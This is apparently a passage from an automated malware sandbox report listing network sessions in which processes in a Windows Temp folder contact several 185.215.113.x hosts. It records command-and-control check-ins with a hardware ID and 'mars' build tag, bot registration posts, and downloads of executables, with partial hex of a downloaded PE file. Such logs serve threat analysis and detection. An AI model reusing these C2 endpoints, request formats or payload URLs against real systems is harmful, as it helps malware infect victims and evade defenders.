Nov 12, 2024 04:17:08.506869078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:08.506879091 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:08.506889105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:08.506901979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:08.506920099 CET	1236	IN	Data Raw: 02 61 f0 57 bc 29 96 4d 04 48 3a d0 b4 23 61 5b f8 d1 04 33 94 07 24 2a 9c f1 17 51 9d 01 7a 45 8c f9 aa 39 84 f1 42 2d 0a f9 ae 1b ec e1 f0 25 95 ef c4 06 8c b5 3d ab 67 ad 9d 0b 65 be 24 fd c3 05 14 9e c2 c8 1c 1e 65 fc 08 2e fa 35 f6 63 6b 03 Data Ascii: aW)MH:#a[3$QzE9B-%=ge$e.5ck@YXCPC<\V?"@8uyJC1\*HY]9!+X!E@jrl5L\m{)30YK-Z%AJG[0}]M%1@grY
Nov 12, 2024 04:17:08.506931067 CET	1236	IN	Data Raw: 84 66 eb 88 c7 f2 0e fe 0f dd 66 20 ac f7 4e 1f d2 74 01 dd cd 2e dc a5 85 86 bd 25 28 29 e4 99 0d f0 18 d2 c9 c6 da a9 ed 05 e2 15 a1 ff 4f 9b 08 17 f8 1b 20 2e 17 4b 08 be 70 41 c8 a5 fe 60 cc 33 80 ae f3 13 54 93 78 b9 3b 4c b8 ed 25 e4 fb b8 Data Ascii: ff Nt.%()O .KpA`3Tx;L%y39>@L\|:93fK.3_-xJ\R/q%5.n9Rv<z;^I!6pV@3iW/L\y`X2~SfdBh)h'l)
Nov 12, 2024 04:17:08.506942034 CET	1236	IN	Data Raw: 2e 06 75 f7 cc 2b f2 74 8d a5 1e 86 09 fc fc 6c ec f9 63 99 a8 72 24 8c c4 e1 f0 b4 92 0a 8c 4f 4c 5a 3d 99 fd e1 9c 57 92 b5 ec 64 09 72 27 1e be c0 b4 99 92 cd fe 90 01 2b 11 89 03 f1 7b 05 c1 e5 fe 18 01 02 f8 73 c1 03 b8 2e 80 a4 f7 3a 87 12 Data Ascii: .u+tlcr$OLZ=Wdr'+{s.:%<MU'W(um$6Aa ^*!#y5$op~H)&ZC:c6LD}qYt,&`-&X'Fw<uddX'S]}295-,sw\0
Nov 12, 2024 04:17:08.506956100 CET	1236	IN	Data Raw: 9b 52 ed 3b a4 1d f2 36 2c 76 2e 4b d7 11 2c 2b be 49 04 69 ed 3b fc 56 a4 59 f2 56 00 11 1c 57 be f3 ff 19 85 09 f2 56 1c 11 ec 56 a2 dd ef b7 cd 91 1e 2e 30 fa 0b 1d 57 73 40 29 be 10 1c 2b c4 89 21 da 8f 9a 8d a9 54 ff fc 00 85 c5 66 a5 2b 7d Data Ascii: R;6,v.K,+Ii;VYVWVV.0Ws@)+!Tf+}@T*.l]/YI(uO8.h+t6$-6s)D'l+zUmD MC>ir\yps}+\|60!mQ_
Nov 12, 2024 04:17:08.506968975 CET	1236	IN	Data Raw: 03 81 4b 65 24 02 8c bf d7 ed f4 f8 cd 86 04 cd 92 3d 9c 44 08 72 aa 5d 92 b1 60 57 4c 11 60 70 a0 a1 e6 7d e1 c1 fb 2a dd f1 cb 9e 0c 8b 70 ec a4 e1 f2 36 a4 20 fe d8 04 2b 68 55 2f 41 20 4c e0 89 f2 ac 07 72 52 71 03 ec 6b 7e fd 02 50 1d b0 8a Data Ascii: Ke$=Dr]`WL`p}p6 +hU/A LrRqk~PMrye#:\+}fD&+MdKmG9:tWXr)`m9o]!$+gW&5=lWDS7&syddpie9?6*%S
Nov 12, 2024 04:17:08.511846066 CET	1236	IN	Data Raw: 90 95 24 69 c1 94 fe 2a 98 fa ff 1c 64 8a 1e aa 84 fc 6b c0 fd ff 1b 1d a0 2d 69 94 06 fa 62 32 9d 7e de 2d f0 fa 07 57 c1 4f ed 3a 9d 63 de 2a 38 f9 1f a1 05 39 e4 2f 0c 3c 5f 2b fe 31 01 bd 84 15 16 5b 81 cb 1e 5d bc ff bf b8 d7 bd 22 7f ac cb Data Ascii: $idk-ib2~-WO:c89/<_+1[]"]+[3 t$,sxD5`22lmL(p^3$+mIh6zy<2f8iEdMX(s+Ix%lq_l+~oIW!<2o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50118	185.215.113.206	80	7752	C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:15.533531904 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:17:16.425555944 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:17:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:17:16.428666115 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="build"mars------FIIDBKJJDGHDHJKEHJDB--
Nov 12, 2024 04:17:16.706213951 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:17:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50119	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:15.805216074 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005680001&unit=246122658369
Nov 12, 2024 04:17:16.716347933 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50120	185.215.113.16	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:17.167576075 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 12 Nov 2024 03:02:29 GMT If-None-Match: "6732c545-1bfe00"
Nov 12, 2024 04:17:18.103890896 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:17 GMT Last-Modified: Tue, 12 Nov 2024 03:02:29 GMT Connection: keep-alive ETag: "6732c545-1bfe00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50121	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:19.889966965 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 38 31 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005681031&unit=246122658369
Nov 12, 2024 04:17:20.793406010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50122	185.215.113.16	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:20.805207968 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 04:17:21.714602947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:21 GMT Content-Type: application/octet-stream Content-Length: 2812416 Last-Modified: Tue, 12 Nov 2024 03:01:32 GMT Connection: keep-alive ETag: "6732c50c-2aea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 0f 1a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ ++`Ui` @ @.rsrc`2@.idata 8@askqtssa*:@zdkoeiqw @+@.taggant@`+"*@
Nov 12, 2024 04:17:21.714637041 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:21.714648962 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:21.714658976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:21.714680910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:21.714699030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:21.714709997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:21.714720964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:17:21.714730978 CET	1236	IN	Data Raw: 7e db be cd b8 d3 60 3b cd 30 39 bf 09 03 82 36 f9 27 bf 20 49 5c 29 8a 5b bb 4a 60 8f 74 ba ac ae bd b0 94 81 70 ef 8d 3e f6 cd 5a fe 68 12 99 bf ff 93 59 4f e7 cd 4a 40 94 82 97 87 bc be cd b8 5a d9 56 3c 79 70 c3 bc 92 7f 61 58 c0 aa 9e 38 33 Data Ascii: ~`;096' I\)[J`tp>ZhYOJ@ZV<ypaX83+6'u?lmYsR-tKiKPr9(6{?n0W\'Z#X4pi-B-{)BAQ1BbmD
Nov 12, 2024 04:17:21.714742899 CET	1236	IN	Data Raw: 5d e4 88 68 c3 c9 48 9b 34 c2 a6 1c a0 ad 90 77 a7 3a b8 9c f7 c3 8c fc cf c2 86 9c 4c dd bb 80 ff de 80 f0 da a1 01 67 ad 02 fc 96 3f 2c 8b 7f 00 29 49 cf c5 4a bc 67 b7 41 f0 25 af 81 d2 67 45 8e d1 89 c3 60 bd 9a 2b b1 8c 18 be df 8e 91 71 83 Data Ascii: ]hH4w:Lg?,)IJgA%gE`+qmCzqdizU;8+6a0i1-<d53+T_f7t]*4hC4F21
Nov 12, 2024 04:17:21.719604969 CET	1236	IN	Data Raw: cc 12 c1 8c 89 21 80 56 5a 29 b1 33 6b 7a 89 39 d0 69 4d c2 51 14 30 8e dc c5 b2 72 17 e4 54 94 0b f0 8a 9c 2c e2 7f 92 c8 eb de 44 61 d7 b6 96 15 58 0c 19 63 5a ba d0 c9 78 f8 9c a0 0c 99 67 1f c3 69 74 62 1a aa 5f 4a f8 59 c8 9e 31 19 5a 3f fa Data Ascii: !VZ)3kz9iMQ0rT,DaXcZxgitb_JY1Z? PZ8-VdkuC[,{C%0^fZFVU1 f+6d1mL8iRdy6\5e9QADO`O>7Zv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50132	185.215.113.206	80	8476	C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:29.547647953 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:17:30.447217941 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:17:30.450783968 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="build"mars------CAFIEBKKJJDAKFHIDBFH--
Nov 12, 2024 04:17:30.729146957 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50133	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:29.912622929 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005682001&unit=246122658369
Nov 12, 2024 04:17:30.846154928 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50134	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:32.462181091 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:17:33.387736082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50135	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:34.902633905 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:17:35.833568096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50136	185.215.113.206	80	7608	C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:36.049211979 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 04:17:36.960738897 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:17:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:17:37.006922007 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 34 34 30 37 44 37 43 35 45 43 32 32 37 33 38 34 38 33 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 2d 2d 0d 0a Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="hwid"DD4407D7C5EC2273848308------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="build"mars------JJEGCBGIDHCAKEBGIIDB--
Nov 12, 2024 04:17:37.290060043 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:17:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50137	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:37.446161985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:17:38.338609934 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50138	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:39.852992058 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:17:40.755108118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50139	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:42.370697021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
